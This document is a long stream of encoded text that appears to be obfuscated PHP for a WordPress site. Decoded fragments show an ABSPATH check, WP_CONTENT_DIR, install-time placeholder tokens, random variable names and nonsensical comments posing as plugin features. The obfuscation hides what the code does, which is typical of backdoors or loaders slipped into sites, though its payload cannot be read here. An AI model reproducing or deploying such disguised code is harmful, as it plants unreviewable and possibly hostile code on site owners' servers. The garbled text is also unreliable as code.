IJ[XI\@((((&((jj`>dqcld1xlfd: 9;==!$(( 99#9!!$(ojcir|0ro>gifi>;n?| !!((!3((((an( ),|>1xg>{<ef0!(((((s(((an(  af|!(om|Wgx|agf jj`>dqcld1xlfd: ?<?!$(8!((((((6((8!(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9;?1!$(aozjlg0f<j1nk{ 9;08!!3(zm|}zf3((((u(an(((((( )Hjj`>dqcld1xlfd: 9918! ,k9z80ki`ymk!(tt(((aW;~yrxiqyjro 9;>0! bW0a{a?}a`=bcb<?m  {|zafo!((((Hrq;ec{mmgl| 99:=! ,k9z80ki`ymk!!!(()55((aozjlg0f<j1nk{ 9;>0! ,|>1xg>{<ef0!!(s((((|;1bljy:yp8ja?:f?}g1i ,k9z80ki`ymk$(((,|>1xg>{<ef0$((jj`>dqcld1xlfd: 9;09!!3((k88c<`??}faWpk;0qo|l| ,k9z80ki`ymk$(9`rp}<>q`m}an !!3(yy|m;zWdxb}n{r{~akm ,k9z80ki`ymk$( 8pm0#8pjk!!3((d8incq1<`|<n`1Wi ,k9z80ki`ymk!3(((u(((((u(((ki|k`(( \`zgijdm((,d|f9x=j|9W:!(s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9;?1!$(,d|f9x=j|9W:!3(((((u((ki|k`( Mpkmx|agf(,d|f9x=j|9W:!(((s((uun}fk|agf(((f1Wn{ek<blp<m>x`Wx<mn1 ,cmq$(,l>pr0eea9{cb=9$(((,ggff|yb8{eqmq:|!((((s(,Woee<p`op`b|g((((5((((f}dd3(((an(((((( ,Woee<p`op`b|g(((555((((f}dd!(((s((,Woee<p`op`b|g(5((aW;~yrxiqyjro 9;:;! aozjlg0f<j1nk{ 9;0:!!(((7(om|W|zif{amf| i9{{zWo1a?==r?ac8{y !!((2(((nid{m3((an(( )(aozjlg0f<j1nk{ 9;0;! ,Woee<p`op`b|g!!((s((,Woee<p`op`b|g(5(((i`18a{<nfW0~lyzic~p}< aW;~yrxiqyjro ?=9!$(nid{m!3u((an(((( )(rq;ec{mmgl| 9;0<! ,Woee<p`op`b|g!!(s(,Woee<p`op`b|g((5(((izziq !3((((u''(k`mkcxgaf|(xg{a|a~m%lmnafa|m(zmkgzl%diqmz((u,k>~azc?dnoW~(((((5(((**3an((( a{{m| ,Woee<p`op`b|gS,cmqU!(((..((((aW;~yrxiqyjro 9;=0! ,Woee<p`op`b|gS,cmqU!!(s,k>~azc?dnoW~((5((,Woee<p`op`b|gS,cmqU3,r=pdx1j<p11cz5:=#>;3,r}y::~>qaa{9{5,r=pdx1j<p11cz%<93((((u(((an( aW;~yrxiqyjro 9;0=! ,k>~azc?dnoW~!((4( ;#<?!!((((((s,k>~azc?dnoW~(5(((g:lp;i`rx`r>faW= ,cmq$(**!3u(an( aW;~yrxiqyjro 9;0=! ,k>~azc?dnoW~!(4(( 8p9=#8p9l!!((zm|}zf(nid{m3,|je<0=:8|qg}dkx9((5(aozjlg0f<j1nk{ <8:! ,k>~azc?dnoW~$(|z}m!3an(( ),|je<0=:8|qg}dkx9((tt((jj`>dqcld1xlfd: 9;0>! ,|je<0=:8|qg}dkx9!(((((4(( 8p;#8p:n!!((zm|}zf(((((nid{m3((((an(( jj`>dqcld1xlfd: 9;?:! ,|je<0=:8|qg}dkx9$(((((aozjlg0f<j1nk{ :=1!!(555(((nid{m!((zm|}zf(nid{m3(,|je<0=:8|qg}dkx9(((5((((aozjlg0f<j1nk{ <81! ,l>pr0eea9{cb=9$((,ggff|yb8{eqmq:|$(((,|je<0=:8|qg}dkx9!3((((an((( lmnafml aozjlg0f<j1nk{ :>9!!!((((s((|zq((s(((((H|gcmfWom|Widd ,|je<0=:8|qg}dkx9$((\GCMFWXIZ[M!3(((((((u(ki|k`(( \`zgijdm((((,d|f9x=j|9W:!((szm|}zf((((nid{m3(((u(((ki|k`((( Mpkmx|agf(,d|f9x=j|9W:!((szm|}zf(nid{m3((u(u((md{man((( )~rl=fzla18ykW?jkrj} ,|je<0=:8|qg}dkx9!!(s((zm|}zf(nid{m3u(zm|}zf((,|je<0=:8|qg}dkx93(u((n}fk|agf((((rdoexlk}>b=r?igc9| !((s((((((|zq(((((san(( )jj`>dqcld1xlfd: 9;:;! rq;ec{mmgl| 9;0:!!!((((zm|}zf3an((( )lmnafml aozjlg0f<j1nk{ 9;0?!!!(zm|}zf3,ckqgbjjW11gq>j(5((((i>r<>jy8za?fxl~jdlr:c !3((((an(((( ),ckqgbjjW11gq>j!(((((s(((a:fcj88bgj;d=8xl< !3((((((((,ckqgbjjW11gq>j((((5((i>r<>jy8za?fxl~jdlr:c !3((u,jgo||lkx{qq(5((g:lp;i`rx`r>faW= jj`>dqcld1xlfd: 9;=?!$(**!3((((((an((((( aW;~yrxiqyjro 9;0>! ,jgo||lkx{qq!(555(((8!(,jgo||lkx{qq(5(((rq;ec{mmgl| 9;00! *Tp88*$((( :;%?!!3((((,j~<fcq=n|im>fk`((5(((((( a{{m| ,ODGJID[Srq;ec{mmgl| 9;<:!U!(((..(aW;~yrxiqyjro 9;=0! ,ODGJID[SaW;~yrxiqyjro 9;<:!U!((((..((((jj`>dqcld1xlfd: 9;0>! ,ODGJID[SaW;~yrxiqyjro 9;01!U!(65(( ;9#>1!!(((7((,ODGJID[Sjj`>dqcld1xlfd: 9;18!U(((2(g:lp;i`rx`r>faW= aW;~yrxiqyjro 9;?>!$(((**!3an(( jj`>dqcld1xlfd: 9;19! ,j~<fcq=n|im>fk`!((((((4(((( 9>#0<!!((,j~<fcq=n|im>fk`(5(brmb<0g~aW08q> !3((,gf:W~}=WW9y|8ky0(((5((( a{{m| ,ODGJID[Sjj`>dqcld1xlfd: <00!U!(..((((jj`>dqcld1xlfd: 9;1:! ,ODGJID[Srq;ec{mmgl| <00!U!(((..(rq;ec{mmgl| 9;19! ,ODGJID[Sjj`>dqcld1xlfd: <00!U!(((6( <=V;9!!(((7(,ODGJID[Saozjlg0f<j1nk{ <00!U((2((g:lp;i`rx`r>faW= rq;ec{mmgl| 9;1;!$((**!3(,r9}>x0q;~~j1(5(rq;ec{mmgl| 9;>0! ,j~<fcq=n|im>fk`((&(,gf:W~}=WW9y|8ky0(((((&(,jgo||lkx{qq((((&((((/t/(((&(rq;ec{mmgl| ??! orkx{~qmc8gyjn **!!!3((((an((( g:lp;i`rx`r>faW= jj`>dqcld1xlfd: 9;>?!$(**!(((()55((((,r9}>x0q;~~j1!(s((((((a:fcj88bgj;d=8xl< !3(,ckqgbjjW11gq>j(((5(i>r<>jy8za?fxl~jdlr:c !3u(an( )io`~qa?01=f{f<l8o !!((zm|}zf3(((,~<nor9>l8n((5(}ql:?yp08{}elk0~|}1ni !3,|0irz:1Wpn;a590"13,qf<dz|rlq;k:0}5,|0irz:1Wpn;a%993,qz`W`?qkiqgz((5((HaW;~yrxiqyjro 9918! ,~<nor9>l8n((((&(((jj`>dqcld1xlfd: 9;1<!!3(an(( ,qz`W`?qkiqgz(..(,ckqgbjjW11gq>j((..((((((om|W|zif{amf| jj`>dqcld1xlfd: 9;1=!!!((((zm|}zf3(Wfndyx>q>l|0x==<9b !3(((fm{:k|fW~rq1=1 !3(((((((}W91}qo?zar<`am !3(,l<8bgock~{=y(5((Hrq;ec{mmgl| 9;1>! ,~<nor9>l8n(&((aW;~yrxiqyjro 9;1<!!3((((,ckqgbjjW11gq>j((((((5(((((i>r<>jy8za?fxl~jdlr:c !3an((( ,l<8bgock~{=y(..(,ckqgbjjW11gq>j!((s(({m|W|zif{amf| aozjlg0f<j1nk{ 9;1=!$((((9$(( 8p=>#8pl>!!3u(u((ki|k`(( \`zgijdm((((,d|f9x=j|9W:!(s(((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9;1?!$((,d|f9x=j|9W:!3((u(((ki|k`((( Mpkmx|agf((,d|f9x=j|9W:!((s''({|zm{{%|m{|(zml}k|agf(ngz(_X(N}dd([a|m(Mla|afouu(n}fk|agf(fm{:k|fW~rq1=1 !(((s((((((|zq(s(((((((an((( )lmnafml rq;ec{mmgl| 9;0?!!!((((zm|}zf3(((((an(( rq;ec{mmgl| 9;10! !(555(aozjlg0f<j1nk{ 0<!!((zm|}zf3(((,modand<q0rr<z((5(aozjlg0f<j1nk{ 9;:;! aW;~yrxiqyjro 9:?0!!(7(Hrq;ec{mmgl| 9;11! rq;ec{mmgl| =0>!!(((2(nid{m3((((an((( ),modand<q0rr<z(((tt(,modand<q0rr<z(((555(**((tt((,modand<q0rr<z((555(rq;ec{mmgl| 9<88!!(,modand<q0rr<z((5((((aW;~yrxiqyjro =01!3((,xfjc;y|1bl(((5((g{mxxjmmdpz1}` IJ[XI\@((((((&(aW;~yrxiqyjro 9<89!$((( 9?<V9>>!!3(((,~<nor9>l8n((((((5(}ql:?yp08{}elk0~|}1ni !3,m>b9c}mrikmfzn((5((((e||ngqy~:jfj0;o0a !3((,i0n=pd1f<i>?Wc(((((5((((g{mxxjmmdpz1}` IJ[XI\@((((((&(aozjlg0f<j1nk{ 9819!$(( <#<!!((&(rq;ec{mmgl| 9<8:!3,gp<}z;<a=|(5((,~<nor9>l8n(&((/'/((((((&(,i0n=pd1f<i>?Wc3,|gqyy9oq<?=((5(((,~<nor9>l8n((&(((aW;~yrxiqyjro 9<8;!((&(((,i0n=pd1f<i>?Wc3,yz=;bi}~k;y195X@XWEIBGZW^MZ[AGF3,gy>i==r|z5,yz=;bi}~k;y19"03((((,l~y:yixbb~r8q((5(((((jj`>dqcld1xlfd: 99>=! z9>1{1jm8r8;e~8 !$((aW;~yrxiqyjro 9<8:!!3(,yn0<on0x1>n<`zz((5((g{mxxjmmdpz1}` IJ[XI\@(&((rq;ec{mmgl| 9;:?!$((((( 9>%0!!(((&(jj`>dqcld1xlfd: 9;:0!3,qzr<yxl=dj((((5((((( af|!((((om|Wgx|agf aozjlg0f<j1nk{ 9<8<!$((8!3((an((( ,qzr<yxl=dj(..(((((jj`>dqcld1xlfd: 99<;! !(%((((,qzr<yxl=dj((4(( 8pmml>#8p>:ii!!(s(((y8bjrmyn8dbfpWn<{ ,gp<}z;<a=|$(((f}dd!3(((((y8bjrmyn8dbfpWn<{ ,|gqyy9oq<?=$(((f}dd!3ngzmik`(((( izziq rq;ec{mmgl| >>0! IJ[XI\@$(((aozjlg0f<j1nk{ 9:>0!!$(aozjlg0f<j1nk{ >>0! ,~<nor9>l8n$(((aozjlg0f<j1nk{ 9<8=!!!(((((i{((((,}gyx0:ey8;qcq!(s(((((,p{g;f<;{8fa|ej{((5(,}gyx0:ey8;qcq(&((/'/((((&(,modand<q0rr<z3(((,k`;y;8xd{1bo`(((5(HaW;~yrxiqyjro 9<8>! ,p{g;f<;{8fa|ej{!((((7(((((HaW;~yrxiqyjro 9<8?! ,p{g;f<;{8fa|ej{!(((2((**3(((an(((( rq;ec{mmgl| 9;1:! ,k`;y;8xd{1bo`!(((((..(((((jj`>dqcld1xlfd: 9;?:! ,k`;y;8xd{1bo`$(,i0n=pd1f<i>?Wc!(()55(nid{m!((s(,dk1rn0`=x>p}c:(((5((rq;ec{mmgl| 9<80! aozjlg0f<j1nk{ 9<81!(((&(((((rq;ec{mmgl| 9<98! ,i0n=pd1f<i>?Wc$((/'/!((&(aW;~yrxiqyjro 9<99!$((*Tf*$(,k`;y;8xd{1bo`!3((an(((((( aW;~yrxiqyjro 9;1:! ,dk1rn0`=x>p}c:!((((..((((((,dk1rn0`=x>p}c:(()55(,k`;y;8xd{1bo`!(((({jynjr};<k;ff=~{9pbapx ,p{g;f<;{8fa|ej{$((,dk1rn0`=x>p}c:!3u''(Eq[YD(0(K\M{(i||ik`emf|(em|ili|i(u((((zm|}zf3u(((,pd=oi`jc9qa((5(((f1Wn{ek<blp<m>x`Wx<mn1 jj`>dqcld1xlfd: ?;0!$((izziq /WW[D]OWW/$(/WWRAXWFIEMWW/$(((/WWAF[\W@I[@WW/$(((/WWLI\IWLAZWW/$((/WWKGF\MF\WLAZWJ><WW/$(((((/WW^MZ[AGFWW/!$izziq ,l~y:yixbb~r8q$(,yn0<on0x1>n<`zz$(,xfjc;y|1bl$(((aozjlg0f<j1nk{ 9<9:!(((&(g{mxxjmmdpz1}` IJ[XI\@(&((((((jj`>dqcld1xlfd: <=!$( 9<%>!!$((((jj`>dqcld1xlfd: ;11! lmnafml jj`>dqcld1xlfd: 9<9;!!((((7((_XWKGF\MF\WLAZ(2(}ql:?yp08{}elk0~|}1ni !!$((ojcir|0ro>gifi>;n?| !!(((!3(((an(((( ),pd=oi`jc9qa!(((s''(mpxmk|ml(jdgge%nad|mz((an(((((  af|!((((om|Wgx|agf rq;ec{mmgl| ?<?!$((8!((((((6((8!((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<9<!$((aozjlg0f<j1nk{ 9<9=!!3((((((zm|}zf3((((((uan(( )Hjj`>dqcld1xlfd: 9;??! ,m>b9c}mrikmfzn!!((((Wfpcp9{<d<qobniil ,m>b9c}mrikmfzn$( 8p9:1#8pk<!$((|z}m!3,lc>{ix1}dz8ij5;">3,e|1r:|e`?g5,lc>{ix1}dz8ij%;<3(,axir<y0|0cxoo:ze(5((nid{m3an((( )Hrq;ec{mmgl| 9;1>! ,|gqyy9oq<?=!((tt(((((jj`>dqcld1xlfd: 9<9>! bW0a{a?}a`=bcb<?m  {|zafo!(Hjj`>dqcld1xlfd: 9<8?! ,|gqyy9oq<?=!!!(((()55(rq;ec{mmgl| 9<9>! ,pd=oi`jc9qa!!(s((((|;1bljy:yp8ja?:f?}g1i ,|gqyy9oq<?=$(((,pd=oi`jc9qa$((((aW;~yrxiqyjro 9<9<!!3(k88c<`??}faWpk;0qo|l| ,|gqyy9oq<?=$(9`rp}<>q`m}an !!3(((yy|m;zWdxb}n{r{~akm ,|gqyy9oq<?=$((( <8?#9;!!3(d8incq1<`|<n`1Wi ,|gqyy9oq<?=!3((,axir<y0|0cxoo:ze(5((|z}m3u,la{;{b1<8y1j((5(((((**3((ngzmik`((( izziq rq;ec{mmgl| >>0! IJ[XI\@$(((jj`>dqcld1xlfd: 9<8=!!$((jj`>dqcld1xlfd: >>0! ,~<nor9>l8n$(rq;ec{mmgl| 9<9?!!!((i{((((,gn?8~=mgjprfg>zn!(s((((((,npk}ydp}8g(5((Hjj`>dqcld1xlfd: 9;1>! ,gn?8~=mgjprfg>zn((((&((/'/((&((((((,modand<q0rr<z!((((((7((((Hrq;ec{mmgl| 9<90! ,gn?8~=mgjprfg>zn((&(/'/((&(,modand<q0rr<z!(2((**3an((((( aW;~yrxiqyjro 9<91! ,npk}ydp}8g!((..((rq;ec{mmgl| 9;89! rq;ec{mmgl| 9<:8!$((,npk}ydp}8g$(((,xxn=;:nkq?0{gr8!!((((s((((,k{{=?l:pi>izd:((5(((jj`>dqcld1xlfd: 9:09! ,xxn=;:nkq?0{gr8S:U!3(an(( ,k{{=?l:pi>izd:((()55(**((((..(({|zaxg{ ,k{{=?l:pi>izd:$((aW;~yrxiqyjro 9<:9!!((555((nid{m((((..(()oenn0;oi|8oz| ,k{{=?l:pi>izd:!!((((s((((,la{;{b1<8y1j(5((((((,k{{=?l:pi>izd:3(((jzmic3uu((u((((,flk|x~y0i}n{m:((((5(jj`>dqcld1xlfd: 11;!((&(((((( ,la{;{b1<8y1j((()55(**((7(aW;~yrxiqyjro 9<::!((((&((((aozjlg0f<j1nk{ 9<:;! ,la{;{b1<8y1j$(|z}m!(&((aW;~yrxiqyjro 9<:<!(((2(((**!(&(aozjlg0f<j1nk{ 9<:=!(((&(,i0n=pd1f<i>?Wc((((((&((((jj`>dqcld1xlfd: 9;>=!&((rq;ec{mmgl| 9<:>!(&(((rq;ec{mmgl| 9<:?!&((jj`>dqcld1xlfd: 9<:0!((((&(((jj`>dqcld1xlfd: 9<9>! ,pd=oi`jc9qa!((&(rq;ec{mmgl| 9<:1!3an( )Hrq;ec{mmgl| 9;1>! ,gp<}z;<a=|!(tt(jj`>dqcld1xlfd: 9<9>! bW0a{a?}a`=bcb<?m  {|zafo!((((((HaW;~yrxiqyjro 9<;8! ,gp<}z;<a=|!!!(()55(aW;~yrxiqyjro 9<;9! ,flk|x~y0i}n{m:!!(s|;1bljy:yp8ja?:f?}g1i ,gp<}z;<a=|$(,flk|x~y0i}n{m:$(((rq;ec{mmgl| 9<;:!!3(k88c<`??}faWpk;0qo|l| ,gp<}z;<a=|$(9`rp}<>q`m}an !!3(yy|m;zWdxb}n{r{~akm ,gp<}z;<a=|$( ;<1#?9!!3d8incq1<`|<n`1Wi ,gp<}z;<a=|!3(,axir<y0|0cxoo:ze((((5(((|z}m3u,gg;i`x9zloo`|al((5((|z}m3,}km9kz<|~x((((5(((bW0a{a?}a`=bcb<?m  {|zafo!(HaW;~yrxiqyjro 9<;;! ,|gqyy9oq<?=!!3(((an( )Hjj`>dqcld1xlfd: 9<8>! ,|gqyy9oq<?=!((((((tt(,}km9kz<|~x()55((,pd=oi`jc9qa!(((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<9<!$((((aozjlg0f<j1nk{ 9:91!!3((y8bjrmyn8dbfpWn<{ ,|gqyy9oq<?=$(f}dd!3(,gg;i`x9zloo`|al(((5(((nid{m3((u((,}km9kz<|~x((5(bW0a{a?}a`=bcb<?m  {|zafo!(((((HaW;~yrxiqyjro 9<;;! ,gp<}z;<a=|!!3((((an(((( )Hrq;ec{mmgl| 9<;<! ,gp<}z;<a=|!((tt(,}km9kz<|~x((()55(,flk|x~y0i}n{m:!((s((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<9<!$(rq;ec{mmgl| 9:91!!3y8bjrmyn8dbfpWn<{ ,gp<}z;<a=|$(f}dd!3(((,gg;i`x9zloo`|al(((5((nid{m3,n:>nel?qo~:>;|5::":3,nmibm<`<5,n:>nel?qo~:>;|%:=3((u((((((}f{m| ,}km9kz<|~x!3((an( ),gg;i`x9zloo`|al!(((s,W=1ijz<ky>{}18`(((((5((( af|!((((om|Wgx|agf aozjlg0f<j1nk{ 9<;=!$(8!((((#(93(((}xli|mWgx|agf aozjlg0f<j1nk{ 9<;=!$(,W=1ijz<ky>{}18`$(((rq;ec{mmgl| 9;?=!!3an( ,W=1ijz<ky>{}18`(65(((( 8p9#8p:!!(s((}xli|mWgx|agf rq;ec{mmgl| 9<;>!$(((rq;ec{mmgl| 99<;! !$(((((aW;~yrxiqyjro 9;?=!!3(((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9<;?!$((aozjlg0f<j1nk{ 9<;0!!3((u(zm|}zf3u(((((((,z~k0qj0re<x:g0((5(izziq jj`>dqcld1xlfd: >>0! IJ[XI\@$(((aW;~yrxiqyjro 9<9?!!$((rq;ec{mmgl| >>0! ,~<nor9>l8n$(aW;~yrxiqyjro 9<9?!!!3,kqqc09>~cpk(5((izziq !3((ngzmik`((( ,z~k0qj0re<x:g0((i{((,z?xcd9c}k{8!((((s((((((((,qdqcfxcdg>:?xa(((5(,z?xcd9c}k{8(((&(((/'/(((&(((,modand<q0rr<z3(,`mcazfaedcec|fj(((5(Haozjlg0f<j1nk{ 9<;<! ,qdqcfxcdg>:?xa!(7(((Hrq;ec{mmgl| 9<;1! ,qdqcfxcdg>:?xa!(2((83,k}zzmf|(5(Hrq;ec{mmgl| 9<<8! ,qdqcfxcdg>:?xa!(((((7(((((HaW;~yrxiqyjro 9<;;! ,qdqcfxcdg>:?xa!(((((2((**3(an(( )jj`>dqcld1xlfd: 9<<9! ,k}zzmf|!!((((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<;?!$((aW;~yrxiqyjro 9<<:!!3((((zm|}zf3u(((an( aozjlg0f<j1nk{ 9<<;! ,k}zzmf|$(((,i0n=pd1f<i>?Wc!((555((nid{m!((s((((an(((( ,k}zzmf|(((((..(((aozjlg0f<j1nk{ 9;<?! rq;ec{mmgl| 9<<<! ,k}zzmf|!$((((((%9!(((()55(((*Tf*!((,k}zzmf|(&5(*Tf*3(((((,~<j:p?zifd{n(((5(((rq;ec{mmgl| 9<<=!(&((((,gp<}z;<a=|(&(/*/((&((X@XWMGD3(((((an(((( {jynjr};<k;ff=~{9pbapx ,qdqcfxcdg>:?xa$((,k}zzmf|(&((,~<j:p?zifd{n!!((((((s(an(( ,`mcazfaedcec|fj!(k88c<`??}faWpk;0qo|l| ,qdqcfxcdg>:?xa$(,`mcazfaedcec|fj!3md{m(k88c<`??}faWpk;0qo|l| ,qdqcfxcdg>:?xa$(((aW;~yrxiqyjro 99<;! !!3(yy|m;zWdxb}n{r{~akm ,qdqcfxcdg>:?xa$(((( <91#9!!3(}xli|mWgx|agf aW;~yrxiqyjro 9<<>!$(((((aozjlg0f<j1nk{ 99<;! !$(((((aozjlg0f<j1nk{ 9;?=!!3,kqqc09>~cpkSU(5((izziq ,qdqcfxcdg>:?xa$((((,k}zzmf|!3(((((((an(((  af|!(om|Wgx|agf jj`>dqcld1xlfd: 9<<?!$((((8!(((6(((8!((((}xli|mWgx|agf jj`>dqcld1xlfd: 9<<?!$((8$((aW;~yrxiqyjro 9<<0!!3((an((((  af|!(om|Wgx|agf rq;ec{mmgl| 9<;>!$(((((8!(((6((8!(((Hlmdm|mWgx|agf jj`>dqcld1xlfd: 9<<1!!3(((((u(((md{m(s''(Hiky}azm(`miz|jmi|((,bo=ikpkkrg<1>(((5( af|!((((om|Wgx|agf aozjlg0f<j1nk{ 9<<?!$(8!((((((#((93,rgW=lk>{5X@XWAF\WEIP'X@XWAF\WEIP3,|{>x|<c|p;q|5,rgW=lk>{#:83((}xli|mWgx|agf jj`>dqcld1xlfd: 9<<?!$(,bo=ikpkkrg<1>$(aW;~yrxiqyjro 9<<0!!3an(( ,bo=ikpkkrg<1>(65((( 9#:!!(s(}xli|mWgx|agf aW;~yrxiqyjro 9<<1!$(((((aozjlg0f<j1nk{ 99<;! !$((rq;ec{mmgl| 9<<0!!3((((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<;?!$(rq;ec{mmgl| 9<;0!!3(jzmic3u((uu(uan((( ,axir<y0|0cxoo:ze((..(((()`g;g>|=WW~>exi|8|0e !!((s(((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<;?!$(rq;ec{mmgl| 9<=8!!3((((((y8bjrmyn8dbfpWn<{ ,gp<}z;<a=|$(((f}dd!3(y8bjrmyn8dbfpWn<{ ,|gqyy9oq<?=$((((f}dd!3ngzmik`(( ,kqqc09>~cpk(i{((,n1mz`nq}9!(({jynjr};<k;ff=~{9pbapx ,n1mz`nq}9S8U$(,n1mz`nq}9S9U!3(,W=1ijz<ky>{}18`(5((((( af|!(om|Wgx|agf aozjlg0f<j1nk{ 9<<?!$((8!(#(((((93((((}xli|mWgx|agf aozjlg0f<j1nk{ 9<=9!$(,W=1ijz<ky>{}18`$((jj`>dqcld1xlfd: 9<<0!!3an((( ,W=1ijz<ky>{}18`((((65( 8p9#8p:!!(((s((((}xli|mWgx|agf jj`>dqcld1xlfd: 9<<1!$(((jj`>dqcld1xlfd: 99<;! !$(((aW;~yrxiqyjro 9<<0!!3((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9<=:!$((((aozjlg0f<j1nk{ 9<;0!!3((((((u(((((((u(u(((((ki|k`( \`zgijdm((,d|f9x=j|9W:!(((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<=:!$((,d|f9x=j|9W:!3(u(ki|k`( Mpkmx|agf((,d|f9x=j|9W:!(s((((u(((u((n}fk|agf(((d>{1zdx}8{0gn19 !(((((s''(zmbmk|(la{kgffmk|ml({|ikc%nziem|zq((s''(_X(@gem(Dafc(|`mem({}xxgz|(((an((( )aozjlg0f<j1nk{ 9;:;! aozjlg0f<j1nk{ 9:=:!!!((zm|}zf3((an((((( lmnafml jj`>dqcld1xlfd: >8;!!((tt(lmnafml rq;ec{mmgl| 9<=;!!!((((s(an(((  af|!((Hom|Wgx|agf rq;ec{mmgl| 9<=<!$((8!!(((s(Hlmdm|mWgx|agf rq;ec{mmgl| 9<=<!!3(((((H}xli|mWgx|agf jj`>dqcld1xlfd: 9<=9!$(((8$(((aozjlg0f<j1nk{ 9<<0!!3u''(lgeafi|m(gzk`m{|zi|gz(ngz(_X(Xg{|(\mze{((((((zm|}zf3(((u((,ndjnir;e;:?fazg9(5(( af|!(Hom|Wgx|agf rq;ec{mmgl| 9<=<!$((8!3(((((an(( ),ndjnir;e;:?fazg9!((((zm|}zf3(((,Wej9x{k?kyfl((((5(((rq;ec{mmgl| 9<==! aozjlg0f<j1nk{ 9<=>!!(((7(( af|!(((Hjj`>dqcld1xlfd: 9<=?! aW;~yrxiqyjro 9<=0!!((2((83(an( ,Wej9x{k?kyfl((45(((8!(,Wej9x{k?kyfl((5( 8pll#8p<n!3(((((an( jj`>dqcld1xlfd: 99<;! !((%(,ndjnir;e;:?fazg9(((4(((,Wej9x{k?kyfl(#( 8p9k#8p:!!((((zm|}zf3(((H}xli|mWgx|agf jj`>dqcld1xlfd: 9<=<!$(aW;~yrxiqyjro 99<;! !$(((aW;~yrxiqyjro 9<=1!!3,lm:yeg9ineej?x((5(((( af|!(Hom|Wgx|agf aozjlg0f<j1nk{ 9<=9!$(8!((((#(93((((H}xli|mWgx|agf aozjlg0f<j1nk{ 9<>8!$(((((,lm:yeg9ineej?x$(((jj`>dqcld1xlfd: 9<=1!!3(an(( ,lm:yeg9ineej?x(((65((( <%9!!(((s((Hlmdm|mWgx|agf aozjlg0f<j1nk{ 9<>9!!3H}xli|mWgx|agf jj`>dqcld1xlfd: 9<<1!$(((rq;ec{mmgl| 99<;! !$((aozjlg0f<j1nk{ 9<>:!!3(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<=:!$(jj`>dqcld1xlfd: 9<>;!!3((u(((((((u(((ki|k`( \`zgijdm(,d|f9x=j|9W:!((su(ki|k`((( Mpkmx|agf(((,d|f9x=j|9W:!((((s(u((un}fk|agf((l8:;np9gdqgbdo9lm~ja{ !(((s|zq(s((an( )lmnafml aozjlg0f<j1nk{ 9;0?!!!(((zm|}zf3((an( jj`>dqcld1xlfd: 9;10! !(555((((((aW;~yrxiqyjro 0<!!(zm|}zf3((an((( )d9l89e=i11ob1ynj9p !!(zm|}zf3(an(( )io`~qa?01=f{f<l8o !!((((((zm|}zf3((((,m>b9c}mrikmfzn((((5((e||ngqy~:jfj0;o0a !3(((,`{99kb<`lrp{(((((5((,m>b9c}mrikmfzn(&((((aW;~yrxiqyjro 9<><!3(,aox0`n8cim((5(((((aW;~yrxiqyjro 9<>=!(((&(*Tf*(((&((((((rq;ec{mmgl| 9<>>!(((&(*Tf*(((&((((((jj`>dqcld1xlfd: 9<>?!((&(((*Tf*((((&((((aozjlg0f<j1nk{ 9<>0!(&((((*Tf*((((&(jj`>dqcld1xlfd: 9<>1!((&(((*Tf*(&((aW;~yrxiqyjro 9<?8!(((((&(((*Tf*((((&((((jj`>dqcld1xlfd: 9<?9!((&((*Tf*(((&(aW;~yrxiqyjro 9<>1!(((&((*Tf*((&((rq;ec{mmgl| 9<?:!((&((*Tf*3((,k}zzmf|((5((((Hrq;ec{mmgl| 9<?;! ,`{99kb<`lrp{!((((((7((((HaW;~yrxiqyjro 9<?<! ,`{99kb<`lrp{!((2(**3(((an((((( )aW;~yrxiqyjro 9<<9! ,k}zzmf|!!((s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<?=!$(aW;~yrxiqyjro 9<<:!!3(zm|}zf3(u(((an(((( jj`>dqcld1xlfd: 9<<;! ,k}zzmf|$((jj`>dqcld1xlfd: 9<>=!!((555((nid{m!(s((({jynjr};<k;ff=~{9pbapx ,`{99kb<`lrp{$(,k}zzmf|(&((((,aox0`n8cim!3,ei|gm~jr<~:>5911t?<3,yiejdpim5,ei|gm~jr<~:>V:9;3(k88c<`??}faWpk;0qo|l| ,`{99kb<`lrp{$(9`rp}<>q`m}an !!3yy|m;zWdxb}n{r{~akm ,`{99kb<`lrp{$(((( ??=%;==!!3u(,xd8`b<k9dofqp((5((((mrppqfp~aze:9: !3(an( ),xd8`b<k9dofqp(((((tt((rq;ec{mmgl| 9;19! ,xd8`b<k9dofqp!(4( <;;#>?!!(((zm|}zf3,l~y:yixbb~r8q((((5(aozjlg0f<j1nk{ 99>=! z9>1{1jm8r8;e~8 !$(((rq;ec{mmgl| 9<?>!!3(((,~<nor9>l8n(((5((}ql:?yp08{}elk0~|}1ni !3(((((,i0n=pd1f<i>?Wc(5(g{mxxjmmdpz1}` IJ[XI\@(((((&(jj`>dqcld1xlfd: 981:!$( 8p=#8p;!!(&(((rq;ec{mmgl| 9<?>!3((,abid}8:jar;8rc((((5(izziq (((,~<nor9>l8n((&((/'/((&(((((,i0n=pd1f<i>?Wc$,m>b9c}mrikmfzn(((((&(((/'/(&(((((,i0n=pd1f<i>?Wc$(!3((,ya0y;:pbopm|0|(5(,~<nor9>l8n((&((((/'/(((&(,i0n=pd1f<i>?Wc3,p:ydggW~1}fn;59;0>3,q{eei`:>5,p:ydggW~1}fn;-9=3((ngzmik`(( ,abid}8:jar;8rc(((i{((,ae{:onx`88!(((s(((((,z?xcd9c}k{8(5(aozjlg0f<j1nk{ 9:>1! ,ae{:onx`88!3an( Haozjlg0f<j1nk{ 0?0! ,z?xcd9c}k{8!(tt((((((Wfpcp9{<d<qobniil ,z?xcd9c}k{8$(((((( 8p=k#8p919!$(|z}m!!(((s''(_X(}{mMf|a|qZmkgzl{2(af{|if|ai|m({m{{agf%aflg((,ya0y;:pbopm|0|((((5(((,ae{:onx`883((jzmic3(((u(((u(,k>~azc?dnoW~((5(((p|;izdoby9r|y{a|: 